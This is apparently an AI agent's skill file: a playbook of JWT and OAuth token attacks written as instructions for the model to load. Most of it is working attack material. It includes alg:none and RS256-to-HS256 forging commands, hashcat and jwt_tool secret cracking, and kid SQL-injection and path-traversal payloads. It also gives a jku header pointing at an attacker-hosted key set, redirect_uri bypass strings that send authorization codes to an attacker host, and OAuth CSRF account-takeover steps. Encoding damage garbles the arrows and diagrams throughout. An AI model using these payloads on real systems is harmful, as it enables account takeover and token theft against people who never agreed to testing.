| name | jwt-oauth-token-attacks |
| description | JWT and OAuth token attack playbook. Use when validating token trust, signing algorithms, key handling, claim abuse, bearer flows, and OAuth account-binding weaknesses. |
SKILL: JWT and OAuth 2.0 Token Attacks โ Expert Attack Playbook
AI LOAD INSTRUCTION: Expert authentication token attacks. Covers JWT cryptographic attacks (alg:none, RS256โHS256, secret crack, kid/jku injection), OAuth flow attacks (CSRF, open redirect, token theft, implicit flow abuse), PKCE bypass, and token leakage via Referer/logs. This is critical for modern web applications.
0. RELATED ROUTING
Use this file for token-centric attacks and flow abuse. Also load:
1. JWT ANATOMY
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
HEADER PAYLOAD SIGNATURE
Decode in terminal:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d
Common claim targets (modify to escalate):
{
"role": "admin",
"isAdmin": true,
"userId": OTHER_USER_ID,
"email": "victim@target.com",
"sub": "admin",
"permissions": ["admin", "write", "delete"],
"tier": "premium"
}
2. ATTACK 1 โ ALGORITHM NONE (alg:none)
Server doesn't validate signature when algorithm is "none"/"None"/"NONE":
echo '{"alg":"HS256","typ":"JWT"}' | base64 โ old_header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'
echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'
HEADER.PAYLOAD.
HEADER.PAYLOAD
Tool (jwt_tool):
python3 jwt_tool.py JWT_TOKEN -X a
3. ATTACK 2 โ RS256 TO HS256 KEY CONFUSION
When server uses RS256 (asymmetric โ RSA private key signs, public key verifies):
- Server's public key is often discoverable (JWKS endpoint,
/certs, source code)
- Attack: tell server "this is HS256" โ server verifies HS256 HMAC using the public key as secret
python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem
4. ATTACK 3 โ JWT SECRET BRUTE FORCE
HMAC-based JWTs (HS256/HS384/HS512) with weak secret:
hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/wordlists/rockyou.txt
echo "JWT_TOKEN_HERE" > jwt.txt
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
python3 jwt_tool.py JWT_TOKEN -C -d /path/to/wordlist.txt
Common weak secrets to test manually:
secret, password, 123456, qwerty, changeme, your-256-bit-secret,
APP_NAME, app_name, production, jwt_secret, SECRET_KEY
5. ATTACK 4 โ kid (Key ID) INJECTION
The kid header parameter specifies which key to use for verification. No sanitization = injection:
kid SQL Injection
{"alg":"HS256","kid":"' UNION SELECT 'attacker_controlled_key' FROM dual--"}
If backend queries SQL: SELECT key FROM keys WHERE kid = 'INPUT'
Result: HMAC key = 'attacker_controlled_key' โ forge any payload signed with this value.
kid Path Traversal (file read)
{"alg":"HS256","kid":"../../../../dev/null"}
Server reads /dev/null as key โ empty string โ sign token with empty HMAC.
{"alg":"HS256","kid":"../../../../etc/hostname"}
Server reads hostname as key โ forge tokens signed with hostname string.
6. ATTACK 5 โ jku / x5u Header Injection
jku points to JSON Web Key Set URL. If not whitelisted:
{"alg":"RS256","jku":"https://test-attacker.com/malicious-jwks.json","kid":"my-key"}
Setup:
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
python3 -c "
import json, base64, struct
# ... (use python-jwcrypto or jwt_tool to export JWKS)
"
jwt_tool automation:
python3 jwt_tool.py JWT -X s -ju https://test-attacker.com/malicious-jwks.json
7. OAUTH 2.0 โ STATE PARAMETER MISSING (CSRF)
State parameter prevents CSRF in OAuth. If missing:
Attack:
1. Click "Login with Google" โ OAuth starts โ intercept the redirect URL:
https://accounts.google.com/oauth2/auth?client_id=APP_ID&redirect_uri=https://target.com/callback&state=MISSING_OR_PREDICTABLE&code=...
2. Get the authorization code (stop before exchanging it)
3. Craft URL: https://target.com/oauth/callback?code=ATTACKER_CODE
4. Victim clicks that URL โ their session binds to ATTACKER's OAuth identity
โ ACCOUNT TAKEOVER
8. OAUTH โ REDIRECT_URI BYPASS
Authorization codes are sent to redirect_uri. If validation is weak:
Open Redirect in redirect_uri
Original: redirect_uri=https://target.com/callback
Attack: redirect_uri=https://target.com/callback/../../../test-attacker.com
redirect_uri=https://test-attacker.com.target.com/callback
redirect_uri=https://target.com@test-attacker.com/callback
Partial Path Match
Whitelist: https://target.com/callback
Attack: https://target.com/callback%2f../admin (URL path confusion)
https://target.com/callbackXSS (prefix match only)
Localhost / Development Redirect
redirect_uri=http://localhost/steal
redirect_uri=urn:ietf:wg:oauth:2.0:oob (mobile apps)
9. OAUTH โ IMPLICIT FLOW TOKEN THEFT
Implicit flow: token sent in URL fragment #access_token=...
Fragment leakage scenarios:
- Redirect to attacker page: fragment accessible via
document.referrer or via <script>window.location.href</script> in target page
- Open redirect:
redirect_uri=https://target.com/open-redirect?url=https://test-attacker.com โ token in fragment lands at attacker's page
10. OAUTH โ SCOPE ESCALATION
Request broader scope than authorized in authorization code:
Authorized scope: read:profile
Attack: During token exchange, add scope=admin or scope=read:admin
โ Does server grant requested scope or issued scope?
11. TOKEN LEAKAGE VECTORS
Referer Header
Token in URL โ page loads external resource โ Referer leaks token:
https://target.com/dashboard#access_token=TOKEN
โ HTML loads: <img src="https://analytics.third-party.com/track">
โ Referer: https://target.com/dashboard#access_token=TOKEN
โ analytics.third-party.com sees token in Referer logs
Server Logs
Access tokens sent in query parameters are stored in:
/var/log/nginx/access.log
/var/log/apache2/access.log
ELB/ALB logs (AWS)
CloudFront logs
CDN logs
12. JWT TESTING CHECKLIST
โก Decode header + payload (base64 decode each part)
โก Identify algorithm: HS256/RS256/ES256/none
โก Modify payload fields (role, userId, isAdmin) โ change signature too
โก Test alg:none โ remove signature entirely
โก If RS256: find public key โ attempt RS256โHS256 confusion
โก If HS256: brute force with hashcat/rockyou
โก Check kid parameter โ try SQL injection + path traversal
โก Check jku/x5u header โ redirect to attacker JWKS
โก Test token reuse after logout
โก Test expired token acceptance (exp claim)
โก Check for token in GET params (log leakage) vs header
13. OAUTH TESTING CHECKLIST
โก Check for state parameter in authorization request
โก Test redirect_uri manipulation (open redirect, prefix match, path confusion)
โก Can tokens be exchanged more than once?
โก Test scope escalation during token exchange
โก Implicit flow: check for token in Referer/history
โก PKCE: can code_challenge be bypassed or code_verifier be empty?
โก Check for authorization code reuse (code must be single-use)
โก Test account linking abuse: link OAuth to existing account with same email
โก Check OAuth provider confusion: use Apple ID to link where Google expected